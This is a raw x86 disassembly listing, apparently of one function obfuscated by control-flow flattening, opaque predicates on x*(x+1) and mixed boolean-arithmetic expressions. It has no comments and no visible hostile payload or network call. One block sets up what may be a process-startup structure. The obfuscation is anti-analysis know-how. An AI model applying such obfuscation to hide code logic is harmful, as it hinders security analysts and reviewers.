or ebx, 0xad8b2ad8
mov edx, edi
not edx
and edi, 0x777dfe27
mov esi, edx
and esi, 0x888201d8
or edx, ebx
and ebx, 0x888201d8
or edi, esi
mov esi, ecx
xor ecx, 0x544425
not edx
xor esi, 0x8086411
and ecx, 0x5274d427
and esi, 0x692bff9b
or ecx, ebx
xor ecx, edi
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xad8b2ad9
and ecx, 0x5274d526
or edx, ecx
mov ecx, eax
and ecx, 0x96d40064
and eax, 1
or ecx, esi
xor ecx, 0x692bff9a
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xec1c7772
and ecx, 0x13e3888d
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x484eeb
mov esi, ecx
and esi, 0xffb7b114
or edx, esi
mov esi, eax
xor esi, 0x84662
xor eax, 0x13e3888d
or ecx, eax
and eax, 0xffb7b114
and esi, 0x484eeb
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, ecx
or esi, 0xc0a06854
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0x3e531501
and eax, ecx
and esi, 0xe6f27955
and edx, 0x18010400
or edx, esi
mov esi, eax
not esi
and eax, 0x190d86aa
or ecx, esi
and esi, 0xe6f27955
or eax, esi
not ecx
mov esi, 0xae7fecb2
xor eax, edx
or ecx, eax
not eax
and eax, 0xc1aceafe
and ecx, 0x3e531501
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x4d11d093
and eax, 0xb2ee2f6c
or ecx, eax
mov eax, ecx
xor eax, 0x44101001
xor ecx, 0x80e62a68
and ecx, 0x89e7eafa
and eax, 0x76181505
or eax, ecx
xor eax, 0x76181505
sete dl
setne cl
cmp dword [0x4a2b80], 0xa
mov ch, dl
setl al
setge ah
xor ch, ah
and cl, al
and ah, dl
or al, dl
or cl, ah
mov dl, ch
mov ah, cl
xor dl, al
or al, ch
mov ch, cl
xor ah, 1
xor al, 1
mov dh, ah
or al, dl
and dh, cl
or ah, al
xor dh, 1
xor ch, dh
or dh, cl
xor dh, 1
or dh, ch
mov cl, dh
xor cl, 1
and cl, al
xor al, 1
and dh, al
mov al, ah
or dh, cl
mov ecx, 0x1e6eb0a1
xor al, dh
test ah, ah
cmovne ecx, esi
test dh, 1
cmove ecx, esi
test al, 1
mov eax, 0x1e6eb0a1
jmp 0x402230
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x48]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0xc]
mov dword [ebp - 0x11c], eax
mov eax, 0xb326c396
jmp 0x402240
mov eax, 0x6b16484a
jmp 0x402240
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xfffffffe
not eax
mov esi, eax
and edx, ecx
and esi, 0xfffffffe
and ecx, 0xf4f46274
and eax, 0xb0b9d8b
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xb0b9d8b
mov edi, esi
and edi, 0xf4f46274
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x85130339
setne dl
sete al
cmp dword [0x4a2b80], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
xor dl, ch
and dh, ch
and cl, al
and dl, al
xor al, ah
and al, ah
xor dl, 1
or cl, dh
xor al, 1
mov ah, dl
xor cl, 1
xor ah, al
or al, dl
or cl, ch
xor al, 1
mov edx, ecx
or al, ah
mov ah, al
and dl, al
xor ah, 1
mov ch, ah
xor ah, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xc62b98c1
cmovne eax, esi
test dl, 1
mov edx, 0xc62b98c1
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402240
mov eax, dword [ebp - 0x40]
mov dword [eax], 0x40
mov eax, dword [0x4a2b84]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x3cebb2b7
mov eax, edx
and eax, 0x30220296
and ecx, edx
not edx
and edx, 0xcc9b021
or eax, edx
mov edx, eax
xor edx, 0x20020080
xor eax, 0xcfddfd69
mov esi, eax
and esi, 0x11782a36
and edx, 0x2c839081
or edx, esi
mov esi, ecx
not esi
and ecx, 0xee87d5c9
or eax, esi
and esi, 0x11782a36
or ecx, esi
not eax
mov esi, 0x4461f1a5
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe44b815
and ecx, 0xf1bb47ea
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x4010c40d
xor ecx, 0x32af0aa2
xor edx, 0x32af0aa3
and edx, ecx
and eax, 0x7230c4af
and ecx, 0x8dcf3b50
or ecx, eax
xor ecx, 0x8dcf3b51
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xff9e9258
and eax, 0x616da7
or ecx, eax
mov eax, ecx
xor eax, 0xe7920250
xor ecx, 0x612c04
and eax, 0xe79243f3
and ecx, 0x186dbc0c
or ecx, eax
mov eax, ecx
xor eax, 0x479240d1
xor ecx, 0x218000
and ecx, 0xa0218322
and eax, 0x5fde7cdd
or eax, ecx
cmp eax, 0x5fde7cdd
sete cl
cmp dword [0x4a2b80], 0xa
setl dl
mov eax, edx
or dl, cl
xor al, cl
xor dl, 1
or dl, al
xor al, 1
mov ecx, eax
or al, dl
xor cl, dl
mov edx, eax
xor dl, cl
mov edx, 0xaf96461
cmovne edx, esi
test al, al
mov eax, 0xaf96461
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x402240
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, 0x634620af
jmp 0x402240
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x17c]
mov dword [eax], ecx
mov eax, 0xef60a581
jmp 0x402240
mov eax, dword [ebp - 0x88]
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xc3d2a233
mov ecx, eax
and ecx, 0x42502200
and edx, eax
not eax
and eax, 0x81828033
or ecx, eax
xor ecx, 0x42502200
or ecx, edx
not edx
and edx, 0x3c2d5dcc
and ecx, 0xc3d2a233
or ecx, edx
mov edx, ecx
xor edx, 1
mov eax, ecx
not eax
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x913e14bb
mov esi, eax
and esi, 0x6ec1eb44
or edx, esi
mov esi, ecx
not esi
and ecx, 0x913e14bb
or eax, esi
and esi, 0x6ec1eb44
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xe819d800
and edx, 0x17e627ff
or edx, esi
mov esi, ecx
not esi
and ecx, 0x17e627ff
or eax, esi
and esi, 0xe819d800
or ecx, esi
not eax
mov esi, 0xf6f24a51
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x48016690
and ecx, 0xb7fe996f
or ecx, eax
mov eax, ecx
xor eax, 0x48006280
xor ecx, 0x314114f
and ecx, 0x315155f
and eax, 0xfceaeaa0
or eax, ecx
xor eax, 0xfceaeaa0
sete cl
setne al
cmp dword [0x4a2b80], 0xa
setl dl
setge ah
and dl, cl
mov ecx, eax
xor al, ah
and cl, ah
xor al, 1
or dl, cl
mov ecx, edx
xor cl, ah
and cl, dl
mov edx, eax
xor cl, 1
xor dl, cl
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x7111a47a
cmovne ecx, esi
test dl, dl
cmove ecx, esi
test al, 1
mov eax, 0x7111a47a
jmp 0x402230
cmp byte [ebp - 0x72], 0
mov eax, 0x738ab1bd
mov ecx, 0xe0dcea9e
cmovne eax, ecx
jmp 0x402240
mov eax, dword [ebp - 0x15c]
sar eax, 0xc
mov dword [ebp - 0x160], eax
mov eax, 0xe9af17d7
jmp 0x402240
mov eax, dword [0x4a2b84]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xf99db73b
mov eax, edx
and eax, 0x21f99fe8
andn esi, edx, ecx
not edx
and edx, 0xde066017
or edx, eax
mov ecx, edx
xor edx, 0x21f99fe8
xor ecx, 0xde066017
mov eax, edx
or eax, 0xf99db73b
mov ebx, ecx
and ebx, 0x6000840
and edx, 0x9387396d
mov edi, eax
and edi, 0xe0fa659f
or ebx, edi
mov edi, esi
not edi
and esi, 0x1f059a60
or eax, edi
and edi, 0xe0fa659f
or esi, edi
not eax
xor esi, ebx
or eax, esi
mov esi, eax
not esi
and eax, 0x4872a0a7
and esi, 0xb78d5f58
or eax, esi
mov esi, ecx
and esi, 0x6c78c692
and ecx, 1
or esi, edx
mov edi, eax
xor edi, 0x40100060
xor eax, 0xb1ef179d
mov edx, esi
xor edx, 0x9387396c
xor esi, 0x60780290
and edi, 0xf17c12f8
or ecx, edx
mov edx, eax
and edx, 0xe83ed07
and esi, 0xf17c12f8
or eax, ecx
and ecx, 0xe83ed07
or edi, edx
or esi, ecx
not eax
xor esi, edi
or eax, esi
mov esi, 0x4e3dd9fe
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x312040d5
and eax, 0xce5da302
and ecx, 0x821c28
or edx, ecx
xor edx, 0x312040d5
or eax, edx
mov ecx, eax
not ecx
and eax, 0x624a71ad
and ecx, 0x9db58e52
or eax, ecx
mov ecx, eax
xor ecx, 0x41082040
xor eax, 0x2c020287
and eax, 0x3ee20f97
and ecx, 0xc11df068
or ecx, eax
mov eax, ecx
xor eax, 0xc111d068
xor ecx, 0xa020187
and ecx, 0xa0e2187
and eax, 0xf5f1de78
or eax, ecx
xor eax, 0xf5f1de78
setne al
sete dl
cmp dword [0x4a2b80], 0xa
setl cl
setge ah
and ah, dl
and al, cl
or al, ah
mov ah, cl
xor cl, dl
or ah, dl
mov edx, eax
xor ah, 1
not dl
or cl, ah
mov ah, cl
and cl, al
xor ah, 1
and dl, ah
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov ecx, 0xd0170978
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0xd0170978
cmovne eax, ecx
test dl, dl
cmove eax, ecx
jmp 0x402240
mov eax, 0xd5a21c29
jmp 0x402240
mov eax, dword [ebp - 0x40]
mov dword [eax], 0x20
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xaa019ba5
and eax, 0x12860003
mov edx, ecx
and edx, 0x55fe645a
or ecx, 0xa02018a4
or esi, edx
and ecx, 0xe030bef4
mov edx, esi
xor esi, 0x200000
xor edx, 0x8010100
or eax, ecx
or esi, 0x4010a650
and edx, 0xd494108
and esi, 0xe030bef4
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xad6959ac
and ecx, 0x5296a653
or eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0xc32bc877
mov esi, ecx
mov edi, edx
and esi, 0xa26e193b
and edi, 0x1c902680
or edi, esi
mov esi, eax
xor esi, 0x3cd43788
and esi, eax
and eax, 0x7f5dfb67
mov ebx, esi
not ebx
and esi, 0x5d91e6c4
or ecx, ebx
and ebx, 0xa26e193b
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x3b453e52
and esi, 0xc4bac1ad
or ecx, esi
mov esi, edx
and esi, 0x80a20498
and edx, 1
or esi, eax
mov edi, ecx
xor edi, 0x1010910
xor ecx, 0xf86ef624
mov eax, esi
xor eax, 0x7f5dfb66
xor esi, 0x200410
and edi, 0x69613f10
or edx, eax
mov eax, ecx
and eax, 0x969ec0ef
and esi, 0x69613f10
or ecx, edx
and edx, 0x969ec0ef
or edi, eax
or esi, edx
not ecx
xor esi, edi
or ecx, esi
mov esi, 0x3a69805e
mov eax, ecx
not eax
and ecx, 0x7c4a3ea4
and eax, 0x83b5c15b
or ecx, eax
cmp ecx, 0x7c4a3ea4
setne al
cmp dword [0x4a2b80], 0xa
mov ah, al
setge cl
or ah, cl
xor al, cl
mov dl, ah
mov cl, ah
xor dl, 1
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ah, dl
xor cl, al
xor ah, al
or al, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, al
test al, al
mov eax, 0x568ebed6
cmovne eax, esi
test cl, 1
not dl
mov ecx, 0x568ebed6
cmovne eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402240
mov eax, dword [0x4a2b84]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, esi
or eax, 1
and esi, 0xf90c7fba
mov edx, ecx
and edx, 0x6f38045
and ecx, 0x51ad2d3a
or edx, esi
mov esi, eax
and esi, 0xae52d2c5
or ecx, esi
mov esi, edx
xor esi, 0xa10000
xor edx, 0xf90c7fbb
or eax, edx
and edx, 0xae52d2c5
and esi, 0x51ad2d3a
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
xor ecx, 0x62db699c
mov edx, eax
not edx
and ecx, eax
or eax, 0x9d249663
and edx, 0x2932080
mov esi, eax
and esi, 0x6c68dd5c
or edx, esi
mov esi, ecx
not esi
and ecx, 0x939722a3
or eax, esi
and esi, 0x6c68dd5c
or ecx, esi
not eax
mov esi, 0x10fd536a
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe61f606d
and ecx, 0x19e09f92
or eax, ecx
mov ecx, eax
xor ecx, 0x44401e1
xor eax, 0x183ad20a
and eax, 0x98bada1a
and ecx, 0x674525e5
or ecx, eax
mov eax, ecx
xor eax, 0x4402401
xor ecx, 0xb8d818
and ecx, 0x63bdd9fc
and eax, 0x9c422603
or eax, ecx
xor eax, 0x9c422603
sete dl
setne ah
cmp dword [0x4a2b80], 0xa
setl cl
mov al, cl
xor ah, cl
xor cl, dl
or al, dl
xor ah, 1
mov edx, ecx
xor al, 1
xor dl, 1
or al, ah
mov ah, al
and cl, al
or al, dl
not ah
and dl, ah
or dl, cl
mov ecx, eax
xor cl, dl
mov ecx, 0x1e3c51a8
cmovne ecx, esi
test dl, dl
mov esi, 0x1e3c51a8
mov edx, ecx
cmovne edx, esi
test al, al
cmovne edx, ecx
mov eax, edx
jmp 0x402240
mov eax, dword [ebp - 0x3c]
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xd883d33d
not eax
mov esi, eax
and edx, ecx
and esi, 0xd883d33d
and ecx, 0x6b380e66
and eax, 0x94c7f199
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xd883d33c
and esi, 0x277c2cc3
or edx, esi
mov esi, edx
not esi
and edx, 0x94c7f199
mov edi, esi
and edi, 0x6b380e66
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0xe0dd7b9b
xor eax, 0xffffffff
setne dl
sete ch
cmp dword [0x4a2b80], 0xa
setl ah
setge cl
mov al, ah
and dl, ah
and cl, ch
xor al, ch
or cl, dl
mov dh, al
and al, ah
or ah, ch
and dh, ch
xor al, 1
xor ah, 1
xor dh, 1
or cl, ah
mov bl, dh
xor bl, al
or al, dh
xor al, 1
or al, bl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xd9684648
cmovne ecx, esi
test al, 1
not dl
mov eax, 0xd9684648
cmove ecx, esi
test dl, 1
cmovne ecx, eax
mov eax, ecx
jmp 0x402240
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov eax, 0xd05e69d5
jmp 0x402240
mov eax, dword [ebp - 0xa0]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x6c]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, 0x5616e5a2
jmp 0x402240
cmp eax, 0x3648d350
jne 0x402240
mov esi, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.00444f90
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret